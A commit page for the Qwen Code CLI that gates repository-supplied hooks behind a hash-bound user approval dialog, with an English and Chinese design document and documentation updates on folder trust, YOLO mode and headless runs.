fix(cli): gate project hooks behind an approval dialog (#14748)

* fix(cli): gate project hooks behind an approval dialog

Hooks in a workspace .qwen/settings.json ran at startup with no prompt
whenever folder trust was disabled, which is the default. Gate them like
project MCP servers (#4615): a hash-bound, user-local approval stored in
~/.qwen/hookApprovals.json, asked for in an interactive startup dialog
(ink and OpenTUI) and re-checked on /hooks reload. Headless runs leave
unapproved project hooks unloaded and print a stderr warning.

* fix(cli): address review findings on the project hooks approval gate

- Only a command-line --yolo skips the gate; a workspace can set
  tools.approvalMode itself. disableAllHooks, bare and safe leave it unarmed.
- Key decisions by the project that supplied the hooks, not the live cwd,
  so /cd and --worktree keep approvals; /hooks reload acts only on a
  gated session.
- Treat null and non-runnable hooks blocks as no hooks; validate stored
  status; hash with null prototypes; write the store 0600 with forceMode;
  keep QWEN_CODE_HOOK_APPROVALS_PATH out of project .env files.
- Dialog: sanitize repo-supplied text to one row, show env/headers/
  allowedEnvVars/prompt, cap the list to the available height, Esc
  postpones instead of rejecting; ink /hooks marks withheld hooks disabled.
- Gate the legacy merged-hooks fallback in getUserHooks too.
- Headless warning names the recovery for a rejected block.
- Fix llm.test.tsx stubs, the real-settings reload test and the ACP
  integration tests (pre-approve via a shared helper); add render tests.

* fix(cli): address second review round on the project hooks approval gate

- Hook registry tags a copy of each definition, so an approved block keeps
  its hash in a reused settings instance (ACP daemon)
- /hooks reload re-reads the approvals file; Esc adds a transcript notice
- Truncated hook values are flagged; prompt text gets the full budget
- Dialog keeps at least three hook rows and one row per hook
- Hooks listing and both /hooks browsers show withheld project hooks as
  awaiting approval
- Integration helper keys and hashes through the CLI's own code
- Tests for getSeparatedHookSettings, the headless warning, the project
  .env exclusion, and gate table titles; docs record the hash scope and
  the subagent frontmatter follow-up

* fix(cli): keep hook registry identity; copy project hooks for the gate instead

The registry copy broke managed hook runtimes, which map registry entries back
to their definitions by config identity. Hand Config a clone of the project
hooks block so the settings instance an ACP daemon reuses keeps its hash.

* fix(cli): bind hook approval to the unresolved block; show what runs

- Hash and display the hooks block before ${VAR} resolution so startup and /hooks agree
- Show command env as KEY=value; matcher last; rows cut to width with a marker
- Derive dialog chrome from the wrapped header at the real width
- Neutral "not approved" label (pending and rejected)
- Docs: frontmatter hooks and statusLine are not gated; ACP status has no reason

* fix(cli): read the unresolved hooks block only when the resolved one is gated

* test: approve project hooks in new tests that rely on them

* fix(hooks): bind approval to referenced env values and harden the approval dialog

- Hash and show the values of $VAR/${VAR} a project hook references, so a .env change re-asks
- Read the approvals file fresh, merge on save, and keep hooks withheld when a save fails
- Count only hooks the registry would run; show a prompt hook's model; cut by code point
- Keep the dialog inside the list budget in both renderers, modal over shells in OpenTUI
- Esc dismisses a block for the session; label rejected hooks separately in /hooks
- Re-arm the gate when a --yolo session leaves YOLO; forward the store path into sandboxes

* test(serve): allow the hook approvals path in the sandbox env guard

* fix(hooks): bind project hooks approval to the workspace env sources

- Hash the unresolved block with the workspace's own .env files and settings.env instead of parsing $VAR names from the hook text; the dialog no longer shows env values.
- Gate and list hooks from the resolved block, worded from the unresolved one.
- Re-gate a --yolo session on its first switch out of YOLO.
- Skip the gate under a shell execution sandbox; pass separated hook scopes from the hosted and memory-import callers.
- Approval dialog strings are English-only in both renderers.
- Tests for the rejected label, dialog choices, reload ordering, function hooks and the absent headless warning.

* test(integration): hash project hook approvals with the workspace env sources

* fix(cli): keep Ctrl+C out of focused Ink shell input

Fixes the foreground-shell flake in #15814. Same change as #15859.

* test(managed-agent): stop the verification suite running out of heap on hosted runners

Raise the surefire fork to 40% of RAM and make the lease renewal test wait for renewals instead of counting them in a 150ms window. See #15248.

* fix(cli): re-gate project hooks against the live block when leaving YOLO

The YOLO-exit listener re-applied the startup approval snapshot, so a block
replaced by /hooks reload while YOLO-exempt ran unreviewed after leaving
YOLO. Read the live block through a provider closed over the live
LoadedSettings (the disabledSkillNamesProvider pattern), and keep listening
so re-entering and leaving YOLO re-gates again.

Closes review finding R7-1.

* fix(cli): keep hooks approval options visible on short terminals

The dialog chrome never clamped to the row budget, so on a short terminal
the fixed-height frame clipped Reject and left only the pre-focused
Approve. Cut the description to the rows the chrome and one list row leave,
in both renderers, before shrinking the hook list.

Closes review finding R7-2.

* test(cli): build reload approval fixtures from the real env sources

The fixture pinned an empty env while the production hash reads every
project env file findEnvFiles discovers, including ancestors of the temp
root, so the approval tests went red on runners with an ancestor .env.
Read the same sources in the fixture and plant an ancestor .env so the
hash coverage stays provably sensitive on every machine.

Closes review finding R7-3.

* fix(core): approval is execution authority for project hooks (either-or)

The interactive folder-trust gate merged from main swallowed the
approval decision: with the feature off (default), Approve persisted
but getProjectHooks() still returned undefined, so the dialog promised
execution it could not deliver (review blocking item 1; tmux Cases
1b/7). readProjectHooks() now admits the block when the hash-bound
approval is approved OR the folder is explicitly trusted; pending and
rejected stay withheld, and an ungated interactive session still needs
folder trust. Tests pin interactive + feature-off + approved => runs,
pending/rejected => withheld, ungated untrusted => withheld.

Also from the same review (suggestions): the Ink /hooks browser now
mirrors the execution accessor instead of showing trust-withheld hooks
as enabled; a command containing variable references says it resolves
them from the approved project env; the Esc notice points at restart
instead of implying /hooks can decide.

Co-authored-by: Qwen-Coder <[email protected]>

* fix(cli): align hook status surfaces and docs with either-or authority

The either-or execution gate left three status surfaces behind (review
blocking items 1a-1c): the startup trust warning fired for approved
blocks that actually load, getTrustWithheldProjectHooks() re-listed an
approved block as trust-disabled (duplicate contradictory rows in the
OpenTUI /hooks browser and ACP status), and the Ink browser's enabled
expression showed ungated untrusted sessions as enabled. The warning now
skips approved blocks, the listing accessor shares the execution
predicate (hasApprovedProjectHooks), and the Ink row mirrors
getProjectHooks() directly. Docs state approval-or-trust authority and
the folderTrust-on-untrusted no-dialog case (blocking item 2).

Tests: approved + default trust => no warning and no withheld copy;
ungated untrusted => Ink row disabled; pending => trust row present.

* fix(cli): warn from the execution accessor, not the approval flag

The round-10 warning guard read gated && !pending as "approved", but
pending === false also means "nothing to approve" (an untrusted folder
with the trust feature on contributes no settings). That suppressed the
one signal the user gets in exactly the case the warning exists for
(review blocking item; also the Integration Tests no-AK failure). Skip
the warning only when getProjectHooks() actually serves the block, and
offer approve-or-trust only while a decision is genuinely pending.

Rename the ambiguous core predicate to isProjectHooksApprovalCleared and
document both meanings; getWithheldProjectHooks reads the raw block so
the listing names a pending/rejected decision even when trust also
withholds, with the approval reason outranking the trust reason and no
duplicate rows. Scope the docs' YOLO execution claim to non-interactive
runs.

Tests: folderTrust-on untrusted warning regression (unit + the existing
interactive integration case), approval-reason priority in the listing,
raw-block reachability while pending.

---------

Co-authored-by: 易良 <[email protected]>
Co-authored-by: Qwen-Coder <[email protected]>
This commit is contained in:
authored and GitHub committed 2026-11-04 19:24:58 +08:00
1 parent 572ee4f6ba
commit d3ef273950
78 files changed
+4057 -105

No files matched your search

@@ -0,0 +1,77 @@
# Project Hooks Approval Gate
[English](2026-10-19-project-hooks-approval-gate.md) | [简体中文](2026-10-19-project-hooks-approval-gate.zh-CN.md)
Status: implemented, 2026-10-19.
## Problem
`security.folderTrust.enabled` defaults to `false`, and a disabled feature treats every folder as trusted. The workspace `.qwen/settings.json` is therefore merged in full, including its `hooks` block, and `Config.getProjectHooks()` only checks `isTrustedFolder()`. A freshly cloned repository can ship a `SessionStart` command hook that runs the moment `qwen` starts in it, with no prompt. Project MCP servers from the same file already have a hash-bound approval gate (issue #4615); project hooks have none.
## Goals
- A repository's hooks never run before the user has reviewed them.
- Existing users keep their project hooks after a one-time approval; no change to the folder-trust default.
- The gate mirrors the MCP one: user-local, per project, bound to the reviewed configuration, re-asked on change, never re-asked for a settled rejection.
## Non-goals
- Changing the default of `security.folderTrust.enabled`.
- An ACP request for approving project hooks (ACP sessions simply do not load unapproved project hooks).
- The LSP `.lsp.json` command path, which has the same shape of problem and is tracked separately.
## Design
### Approval store
`packages/cli/src/config/hook-approvals.ts` persists `~/.qwen/hookApprovals.json` (`QWEN_CODE_HOOK_APPROVALS_PATH` overrides it) with one record per project root: `{ hash, status }`, `status` being `approved` or `rejected`. `hash` is a SHA-256 of the project `hooks` object as written in the file, before `${VAR}` resolution (startup resolves before the project `.env` loads, `/hooks` after, so a resolved block would hash differently on the two paths), together with the env the workspace supplies: each of its own `.env` files (the ones `loadEnvironment` reads that are not user-level, parsed, or `null` when unreadable) and its `settings.env`. Everything is serialised with sorted keys (null-prototype objects, so an own `__proto__` key is hashed too), so key order does not matter but any behavioural edit, including one made only through the project `.env`, changes it. The text is not parsed for variable names: a hook, or a script it starts, can read any variable, so no model of shell expansion would be complete. Variables the user sets outside the workspace are the user's own and are not hashed. A record whose hash does not match the live hooks, or whose status is neither value, counts as `pending`. Callers hand the Config a copy of the resolved block, because the hook registry tags loaded definitions in place and an ACP daemon reuses one settings instance across sessions. The project root is the folder holding the `.qwen/settings.json` the hooks came from, not the session's working directory, so `/cd` and `--worktree` do not move the key; it is normalised as in `mcpApprovals.json`. The file is written `0600` (an existing looser mode is tightened), and `QWEN_CODE_HOOK_APPROVALS_PATH` is excluded from project `.env` files like the sibling store paths and forwarded into a sandbox container. The file is read fresh on every check, so a long-lived ACP daemon sees decisions made elsewhere; a save re-reads it and replaces only its own project's record, and fails (leaving the hooks withheld) rather than overwrite a file it cannot read.
`isProjectHooksPendingApproval(projectHooks, projectRoot)` is `true` when the block declares at least one hook the registry would run (a known event, and a `command`, `http` or `prompt` hook with its command, URL or prompt) and its state is not `approved` (pending or rejected). An absent, `null` or empty block, or one with nothing runnable, is never gated.
### Core
`ConfigParameters.projectHooksPendingApproval` records the startup decision; `undefined` means the session does not gate project hooks at all. While it is `true`, `getProjectHooks()` returns `undefined` after the existing trust check, and so does the legacy merged-`hooks` fallback in `getUserHooks()`, which can carry the same workspace block when no scopes were separated. `setProjectHooksPendingApproval()` lets the CLI clear the gate mid-session; the next `HookSystem.reload()` then registers them. `getWithheldProjectHooks()` returns the withheld block for display only, and the hooks listing behind the OpenTUI `/hooks` browser shows it with the reason `pendingApproval`, or `rejected` when the CLI recorded a rejection (`projectHooksRejected`). The ACP status reports it only as `enabled: false`, without the reason.
### CLI startup
`loadCliConfig` computes the flag from the unresolved project block and root the caller supplies (the startup and hosted callers all supply separated scopes; a bare merged `hooks` block cannot be attributed, so if it holds anything runnable the flag is `true`). It leaves the flag `undefined` under `--bare`, `--safe-mode`, `disableAllHooks` and a shell execution sandbox, where no hooks load. Under a YOLO approval mode asked for on the command line (`--yolo`, `--approval-mode yolo`) it sets the flag `false` with `projectHooksYoloExempt`, so the gate stays off only while the session is in YOLO: the first switch out of YOLO re-reads the decision, sets the flag and reloads the hooks. A YOLO mode that comes from settings does not exempt the hooks, because the workspace's own `tools.approvalMode` can set it.
### Interactive approval
`useProjectHooksApproval` (ink and OpenTUI share it) shows a dialog listing every hook as `Event target [details]` when the state is strictly `pending`, worded from the unresolved block (whether a hook runs, and so whether the block is gated at all, is decided on the resolved one, so a `${VAR}` in `type` cannot hide a hook): the command with its `env` as `KEY=value`, `shell` and `async`; the URL with its header names and `allowedEnvVars`; the prompt text and any `model` override; the matcher comes last, so it cannot push the target off the row. Every repo-supplied string is reduced to one row with escapes, bidi and other format characters removed; a value over 200 code points is cut with a marker giving its length, so an elided tail is never silent. Each hook takes one row, cut to the dialog's text width with a `… [+N chars]` marker, and the list is capped to the rows the wrapped header leaves at that width (the finite list-dialog budget, in both renderers), down to just the "… and N more" row, so the options stay visible. Approve persists `approved`, clears the gate on the live `Config` and reloads the hook system; Reject persists `rejected` and leaves the hooks unloaded; Esc closes the dialog without storing anything and adds a transcript line saying the hooks were not loaded; the same block is not offered again this session, so `/hooks` can show it, and the next start (or an edit) asks again. A save that fails leaves the hooks withheld and says so. The dialog ranks after the MCP approval dialog. The ink `/hooks` browser marks withheld project hooks as not approved, or as rejected.
### `/hooks` reload
In a gated session the reload recomputes the gate from the freshly read workspace hooks before `HookSystem.reload()`, so a decision edited by hand applies without a restart and an edited block stays out of the registry. It emits `AppEvent.ProjectHooksPendingApprovalChanged` when the block is `pending` so the dialog asks again. An ungated session is left alone.
### Headless runs
A non-interactive session cannot prompt. Unapproved project hooks stay unloaded and `qwen -p` prints one stderr line saying so: for a pending block it points at an interactive run, for a rejected one it names the approvals file instead.
## Decisions
- **Gate regardless of folder trust.** A trusted folder means its settings are read, not that every command in them was reviewed; this matches the MCP gate and keeps the folder-trust dialog unchanged.
- **One decision per project, not per hook.** Hooks are reviewed as the block the file declares; a per-hook queue would add UI for no extra safety.
- **Only a command-line YOLO skips the gate.** The user chose to approve everything; a settings value could have been chosen by the repository.
- **Rejection is remembered** so a rejected repository does not nag on every start, but any edit re-asks. Esc is not a rejection, so a dialog that is closed in passing is offered again on the next start.
- **The workspace's env is part of what is approved, by content.** A project `.env` or `settings.env` could otherwise change what an approved hook runs without touching the block. Binding the whole source, rather than the names a command mentions, also covers scripts that read the environment themselves. Editing any value there asks again; the dialog shows no values, so it never displays a credential.
- **The hash covers the `hooks` block only.** Other hook settings a project can set, such as `stopHookBlockingCap` (clamped to 100), tune how approved hooks run but run nothing themselves; folding them in would re-prompt every approved project for no new command.
## Validation
- Unit tests: store semantics and hash binding (`hook-approvals.test.ts`), startup gate conditions (`config.test.ts` in both packages), the dialog hook (`use-project-hooks-approval.test.ts`), and the `/hooks` reload (`hooksCommand.test.ts`).
- Manual: `qwen -p` in a cloned repository that declares a `SessionStart` hook no longer runs it and warns on stderr; an interactive start shows the dialog, approving runs the hooks on the next event, and `~/.qwen/hookApprovals.json` holds the decision.
## Acceptance criteria
- With default settings, a repository hook never runs before the dialog is answered.
- Approving once is enough until the project hooks change.
- Rejecting keeps the hooks unloaded and does not re-prompt until they change.
- User, system and extension hooks are unaffected.
## Follow-up
- ACP: a request to list and approve pending project hooks, mirroring the MCP one, and the withheld reason in the hooks status.
- LSP: gate the workspace `.lsp.json` commands the same way.
- Project skill and subagent frontmatter hooks: they need explicit folder trust instead (see [Explicit trust for repository execution](2026-11-03-project-execution-trust.md)).
- A non-interactive way to approve project hooks (for CI), mirroring `qwen mcp approve`.
@@ -0,0 +1,77 @@
# 项目 Hooks 审批闸门
[English](2026-10-19-project-hooks-approval-gate.md) | [简体中文](2026-10-19-project-hooks-approval-gate.zh-CN.md)
状态:已实现,2026-10-19。
## 问题
`security.folderTrust.enabled` 默认为 `false`,功能关闭时每个目录都被视为受信任。于是工作区 `.qwen/settings.json` 会被完整合并,包括其中的 `hooks`,而 `Config.getProjectHooks()` 只检查 `isTrustedFolder()`。一个刚克隆的仓库可以自带 `SessionStart` 命令 hook,在仓库目录启动 `qwen` 的瞬间就执行,没有任何提示。同一文件里的项目 MCP 服务器已经有按哈希绑定的审批闸门(issue #4615),项目 hooks 却没有。
## 目标
- 仓库自带的 hooks 在用户审阅之前绝不执行。
- 现有用户一次审批后继续使用项目 hooks;不改目录信任的默认值。
- 闸门与 MCP 的一致:用户本地、按项目、绑定审阅过的配置、变更后重新询问、已拒绝的不再反复询问。
## 非目标
- 修改 `security.folderTrust.enabled` 的默认值。
- 为 ACP 增加审批项目 hooks 的请求(ACP 会话直接不加载未审批的项目 hooks)。
- LSP `.lsp.json` 的命令路径,问题形态相同,另行跟踪。
## 设计
### 审批存储
`packages/cli/src/config/hook-approvals.ts` 把决定持久化到 `~/.qwen/hookApprovals.json`(可用 `QWEN_CODE_HOOK_APPROVALS_PATH` 覆盖),每个项目根目录一条记录:`{ hash, status }`,`status` 为 `approved` 或 `rejected`。`hash` 是项目 `hooks` 对象按文件原文(`${VAR}` 解析之前;启动时在项目 `.env` 加载前解析、`/hooks` 在其后解析,解析后的块在两条路径上哈希不同),连同工作区提供的环境变量来源——它自己的每个 `.env` 文件(`loadEnvironment` 读取的非用户级文件,取解析结果,读不了时为 `null`)以及它的 `settings.env`——按键排序序列化后的 SHA-256(使用无原型对象,因此自有的 `__proto__` 键也会参与哈希),因此键顺序无关,但任何行为上的修改(包括只通过项目 `.env` 做的修改)都会改变它。不从命令文本里解析变量名:hook 或它启动的脚本可以读取任何变量,对 shell 展开的任何模拟都不可能完整。用户在工作区之外设置的变量属于用户自己,不参与哈希。哈希与当前 hooks 不匹配、或状态不是这两个值之一的记录视为 `pending`。调用方交给 Config 的是解析后块的副本:hook 注册表会原地给已加载的定义标注来源,而 ACP daemon 会在多个会话间复用同一个设置实例。项目根目录是 hooks 所在 `.qwen/settings.json` 的目录,而不是会话的工作目录,因此 `/cd` 与 `--worktree` 不会改变键;其规范化方式与 `mcpApprovals.json` 相同。文件以 `0600` 写入(已有的更宽松权限会被收紧),`QWEN_CODE_HOOK_APPROVALS_PATH` 与同类存储路径一样不允许由项目 `.env` 设置,并会转发进沙箱容器。每次检查都重新读取文件,因此长期运行的 ACP daemon 能看到在别处做出的决定;保存时重新读取并只替换本项目的记录,读不了文件时直接失败(hooks 保持扣留),而不是覆盖它。
`isProjectHooksPendingApproval(projectHooks, projectRoot)` 在 hooks 块至少声明了一个注册表会运行的 hook(已知事件,且为带有命令、URL 或 prompt 的 `command`、`http` 或 `prompt` hook)且状态不是 `approved`(待定或已拒绝)时为 `true`。不存在、为 `null`、为空或没有可运行内容的块永远不受闸门约束。
### Core
`ConfigParameters.projectHooksPendingApproval` 记录启动时的判定;`undefined` 表示该会话完全不对项目 hooks 设闸门。为 `true` 期间,`getProjectHooks()` 在既有的信任检查之后返回 `undefined`,`getUserHooks()` 中旧的合并 `hooks` 回退也同样返回 `undefined`(未拆分作用域时它可能携带同一工作区块)。`setProjectHooksPendingApproval()` 允许 CLI 在会话中途解除闸门,下一次 `HookSystem.reload()` 即注册它们。`getWithheldProjectHooks()` 仅为展示返回被扣留的块,OpenTUI `/hooks` 浏览器背后的 hooks 列表以原因 `pendingApproval` 显示它们;CLI 记录了拒绝时(`projectHooksRejected`)原因为 `rejected`。ACP 状态只报告 `enabled: false`,不带原因。
### CLI 启动
`loadCliConfig` 根据调用方提供的未解析项目块及其项目根目录计算该标志(启动与 hosted 调用方都提供分离的作用域;单独的合并 `hooks` 块无法区分来源,只要其中有可运行的 hook 就设为 `true`)。在 `--bare`、`--safe-mode`、`disableAllHooks` 和 shell 执行沙箱下(此时不加载任何 hooks),该标志为 `undefined`。命令行要求的 YOLO 审批模式下(`--yolo`、`--approval-mode yolo`)该标志为 `false` 并带 `projectHooksYoloExempt`,闸门只在会话处于 YOLO 期间关闭:第一次切出 YOLO 时会重新读取决定、设置标志并重载 hooks。来自设置的 YOLO 模式不豁免 hooks,因为工作区自己的 `tools.approvalMode` 就能设置它。
### 交互式审批
`useProjectHooksApproval`(ink 与 OpenTUI 共用)在状态严格为 `pending` 时显示对话框,按 `Event target [details]` 列出每个 hook,文字取自未解析的块(hook 是否会运行、进而整个块是否需要设闸,按解析后的块判断,因此 `type` 里的 `${VAR}` 藏不住 hook):命令及其 `env`(以 `KEY=value` 显示)、`shell` 与 `async`;URL 及其请求头名称与 `allowedEnvVars`;prompt 文本及其 `model` 覆盖;matcher 放在最后,不会把执行目标挤出该行。仓库提供的每个字符串都压成一行,并去除转义序列、双向控制及其他格式字符;超过 200 个码点的值会被截断并标明原长度,被省略的尾部不会悄无声息。每个 hook 占一行,按对话框文本宽度截断并带 `… [+N chars]` 标记;列表按该宽度下换行后的标题所剩行数截断(两个渲染器都使用有限的列表对话框预算),最少只剩 "… and N more" 一行,保证选项始终可见。批准会持久化 `approved`、解除运行中 `Config` 的闸门并重载 hook 系统;拒绝会持久化 `rejected`,hooks 保持不加载;Esc 关闭对话框且不保存任何决定,并在会话记录中加一行说明 hooks 未加载;本会话内同一个块不再弹出,因此 `/hooks` 可以展示它,下次启动(或块被修改)时再次询问。保存失败时 hooks 保持扣留并给出提示。该对话框排在 MCP 审批对话框之后。ink 的 `/hooks` 浏览器把被扣留的项目 hooks 标为未批准或已拒绝。
### `/hooks` 重载
在设有闸门的会话中,重载在 `HookSystem.reload()` 之前用重新读取的工作区 hooks 重新计算闸门,这样手动修改的决定无需重启即可生效,修改过的 hooks 块也不会进入注册表;当其状态为 `pending` 时发出 `AppEvent.ProjectHooksPendingApprovalChanged`,让对话框再次询问。未设闸门的会话不受影响。
### 无头运行
非交互会话无法提示。未审批的项目 hooks 保持不加载,`qwen -p` 在 stderr 上打印一行说明:待定的块提示交互式运行一次,已拒绝的块则给出审批文件的位置。
## 决策
- **无论目录信任与否都设闸门。** 目录受信任意味着读取其设置,不代表其中每条命令都审阅过;这与 MCP 闸门一致,也不改动目录信任对话框。
- **按项目而非按 hook 决定。** hooks 以文件声明的整个块为单位审阅;逐条排队只会增加 UI,不增加安全性。
- **只有命令行的 YOLO 跳过闸门。** 那是用户自己选择批准一切;设置里的值可能是仓库选的。
- **记住拒绝**,被拒绝的仓库不会每次启动都询问,但任何修改都会重新询问。Esc 不算拒绝,顺手关掉的对话框下次启动还会出现。
- **工作区的环境变量按内容属于批准范围。** 否则项目 `.env` 或 `settings.env` 可以不动 hooks 块就改变已批准 hook 的行为。绑定整个来源而不是命令里提到的变量名,也覆盖了自行读取环境的脚本。修改其中任何值都会重新询问;对话框不显示任何值,因此不会把凭据显示出来。
- **哈希只覆盖 `hooks` 块。** 项目可设置的其他 hook 相关设置,如 `stopHookBlockingCap`(上限钳制为 100),只调节已批准 hooks 的运行方式,本身不执行任何东西;把它们纳入哈希会让所有已批准项目重新询问,却没有新命令可审。
## 验证
- 单元测试:存储语义与哈希绑定(`hook-approvals.test.ts`)、启动闸门条件(两个包的 `config.test.ts`)、对话框 hook(`use-project-hooks-approval.test.ts`)、`/hooks` 重载(`hooksCommand.test.ts`)。
- 手动:在声明了 `SessionStart` hook 的克隆仓库里运行 `qwen -p`,hook 不再执行并在 stderr 给出警告;交互式启动显示对话框,批准后 hooks 在下一次事件时运行,`~/.qwen/hookApprovals.json` 保存了决定。
## 验收标准
- 默认设置下,仓库 hook 在对话框得到回答之前绝不执行。
- 审批一次即可,直到项目 hooks 发生变化。
- 拒绝后 hooks 保持不加载,变化之前不再询问。
- 用户、系统和扩展 hooks 不受影响。
## 后续工作
- ACP:增加列出并审批待定项目 hooks 的请求,与 MCP 的对应,并在 hooks 状态中带上扣留原因。
- LSP:以同样方式为工作区 `.lsp.json` 的命令设闸门。
- 项目 skill 与 subagent frontmatter 中的 hooks:改为需要显式目录信任(见[仓库代码执行需要显式信任](2026-11-03-project-execution-trust.zh-CN.md))。
- 非交互式审批项目 hooks 的方式(用于 CI),与 `qwen mcp approve` 对应。
+1 -1
View File
@@ -4,7 +4,7 @@ The Trusted Folders feature is a security setting that gives you control over wh
## Enabling the Feature
The Trusted Folders feature is **disabled by default**. To use it, you must first enable it in your settings.
The Trusted Folders feature is **disabled by default**. While it is disabled, every folder counts as trusted, so a project's `.qwen/settings.json` is loaded without any prompt. Project MCP servers and project [hooks](../features/hooks.md#approving-project-hooks) still ask for your approval the first time they are seen and whenever they change, unless you run in YOLO mode (for MCP servers, YOLO from any source; for hooks, only `--yolo` or `--approval-mode yolo` on the command line). Other project configuration can run commands without asking (for example a `ui.statusLine` of `type: "command"`). To be asked before any project configuration is read at all, enable the feature in your settings.
Disabled folder trust does not authorize project skill/subagent frontmatter
hooks, project skill automatic tool grants, or workspace `.lsp.json` servers.
+9 -4
View File
@@ -36,7 +36,7 @@ The browser never edits your configuration: to add, change or remove a hook, edi
Reloading requires this explicit menu-open action: saving a file, pulling changes or switching branches does not automatically arm new hook commands. The non-interactive `/hooks list` only displays the registry currently loaded by that process; it does not reload settings. In an interactive terminal, `/hooks list` opens the same menu as `/hooks`.
This reload covers hook definitions, not hook controls or HTTP security settings. Changes to `disableAllHooks`, `stopHookBlockingCap`, `security.allowedHttpHookUrls`, `security.allowPrivateNetworkHooks` and `security.folderTrust` (including trust-store entries) still require a restart. `security.folderTrust` is read from user, system and system-default settings only; a workspace file cannot enable it. Hooks registered at runtime by skills or the SDK are not affected. In interactive sessions, project hooks from a project's `.qwen/settings.json` load only with **explicit folder trust**: enable `security.folderTrust.enabled` in user settings and trust the directory, or grant workspace trust through your IDE. A disabled folder-trust feature does not authorize them; when they are withheld the session shows a startup warning. Settings-file hooks are registered once at startup, so an IDE trust change does not retroactively arm or silence them — reopen the `/hooks` menu or restart to apply it. In non-interactive sessions (`--prompt`/`-p`, piped stdin, ACP/SDK embeddings) folder trust is implicit — the caller chose the directory and there is no prompt surface — so project hooks load as before; only run non-interactive sessions in directories you trust. When hooks are turned off by `disableAllHooks`, `--safe-mode` or `--bare`, none load and the browser says so at the top.
This reload covers hook definitions, not hook controls or HTTP security settings. Changes to `disableAllHooks`, `stopHookBlockingCap`, `security.allowedHttpHookUrls`, `security.allowPrivateNetworkHooks` and `security.folderTrust` (including trust-store entries) still require a restart. `security.folderTrust` is read from user, system and system-default settings only; a workspace file cannot enable it. Hooks registered at runtime by skills or the SDK are not affected. In interactive sessions, project hooks from a project's `.qwen/settings.json` run with either authority: your **approval of the exact configuration** (see [Approving project hooks](#approving-project-hooks)) or **explicit folder trust** (enable `security.folderTrust.enabled` in user settings and trust the directory, or grant workspace trust through your IDE). An approved block runs even with the folder-trust feature off. While a block awaits its first decision it is withheld and the approval dialog asks; when the folder is also untrusted the session shows a startup warning and the `/hooks` browser lists the block as disabled (untrusted). With `security.folderTrust.enabled` on and the folder untrusted, workspace settings do not load at all, so the dialog cannot appear — trust the folder first. Settings-file hooks are registered once at startup, so an IDE trust change does not retroactively arm or silence them — reopen the `/hooks` menu or restart to apply it. In non-interactive sessions (`--prompt`/`-p`, piped stdin, ACP/SDK embeddings) folder trust is implicit — the caller chose the directory and there is no prompt surface — so approved project hooks load as before; only run non-interactive sessions in directories you trust. A reload that changes the project hooks asks for approval again. When hooks are turned off by `disableAllHooks`, `--safe-mode` or `--bare`, none load and the browser says so at the top.
### Agent frontmatter scope
@@ -1530,6 +1530,12 @@ It fires when the session starts, when context files are reloaded during the ses
Hooks are configured in Qwen Code settings, typically in `.qwen/settings.json` or user configuration files. Hooks in the system settings files (System and SystemDefaults) load with the source System and, like user hooks, regardless of folder trust. Within one event, sequential hooks from settings and extensions run in this order: Project, User, System, Extension.
### Approving project hooks
Hooks in a project's `.qwen/settings.json` are commands written by whoever controls the repository, and they run with your privileges. Like a project MCP server, they do not run until you approve them: the first time Qwen Code starts in a workspace that declares hooks, it lists them (with their environment settings, headers, prompt text and model) and asks whether to approve or reject them; Esc postpones the decision to the next start, and `/hooks` then lists them without asking. The decision is saved in `~/.qwen/hookApprovals.json` and is bound to the exact hooks configuration you reviewed and to the workspace's own `.env` files and `settings.env`, so an edit to the project hooks, or to any of those values, asks again. A rejected configuration stays unloaded and is not asked about again until it changes; to reconsider sooner, remove its entry from that file and open `/hooks` (or restart Qwen Code). A project `.env` cannot relocate the file. Hooks declared in a project skill's or subagent's frontmatter are not covered by this approval yet: they need explicit folder trust instead (see [Agent frontmatter scope](#agent-frontmatter-scope)).
The approval applies whether or not [Trusted Folders](../configuration/trusted-folders.md) is enabled, because a trusted folder means its settings are read, not that every command in them was reviewed. Approval is itself execution authority: an approved block runs even with the folder-trust feature off. Without an approval, an interactive session falls back to explicit folder trust, and a block with neither authority stays withheld with a startup warning. With `security.folderTrust.enabled` on and the folder untrusted, workspace settings do not load at all and the approval dialog cannot appear — trust the folder first. Only `--yolo` or `--approval-mode yolo` on the command line skips the prompt, and only while the session stays in YOLO mode: non-interactive YOLO runs then load project hooks as approved, while interactive YOLO sessions still follow the folder-trust rule. A YOLO approval mode set in settings does not skip the prompt, because a repository's own settings could set it. No approval is asked for while `disableAllHooks`, `--safe-mode` or `--bare` turns hooks off. Non-interactive runs (`-p`, `--acp`) never prompt: unapproved project hooks stay unloaded and `qwen -p` prints a warning on stderr; run Qwen Code interactively in the folder once to approve them. While project hooks are withheld, the `/hooks` browser lists them as not approved or as rejected when a decision is pending, and as untrusted when only the folder-trust gate withholds them.
> [!NOTE]
> A hook must include a name field to be enabled or disabled individually at runtime. Hooks without a name will always execute when their event and matcher conditions are met.
@@ -1626,8 +1632,7 @@ fi
### Security Model
- Hooks run in the user's environment with user privileges
- Interactive sessions: project-level hooks require explicit folder trust (enable `security.folderTrust.enabled` and trust the folder, or grant IDE workspace trust)
- Non-interactive sessions (`-p`, piped stdin, ACP/SDK): folder trust is implicit; only use directories you trust
- Project-level hooks in `.qwen/settings.json` run with either authority: your approval of the exact hooks configuration (see [Approving project hooks](#approving-project-hooks)) or explicit folder trust (enable `security.folderTrust.enabled` and trust the folder, or grant IDE workspace trust). Non-interactive sessions (`-p`, piped stdin, ACP/SDK) treat folder trust as implicit — only use directories you trust. Hooks in project skill or subagent frontmatter need explicit folder trust
- Timeouts prevent hanging hooks (default: 60 seconds for command hooks)
## Best Practices
@@ -1789,7 +1794,7 @@ sys.exit(0)
1. **Event name.** The key must be one of the events in [Hook Events](#hook-events), spelled exactly, including case. An unknown event name is skipped with the warning `Invalid hook event name`.
2. **Matcher.** Tool events match the runtime tool id, such as `run_shell_command` or `write_file`, or an accepted alias such as Claude Code's `Bash` or `Write` (see [Matcher Patterns](#matcher-patterns)). On events without matcher support, `matcher` is ignored.
3. **Folder trust.** In interactive sessions, hooks in a project's `.qwen/settings.json` load only with **explicit folder trust**: enable `security.folderTrust.enabled` in user settings and trust the directory, or grant workspace trust through your IDE. A disabled folder-trust feature does not authorize them (see [Trusted Folders](../configuration/trusted-folders.md)). In non-interactive sessions (`-p`, piped stdin, ACP/SDK embeddings) trust is implicit. User hooks load regardless of folder trust.
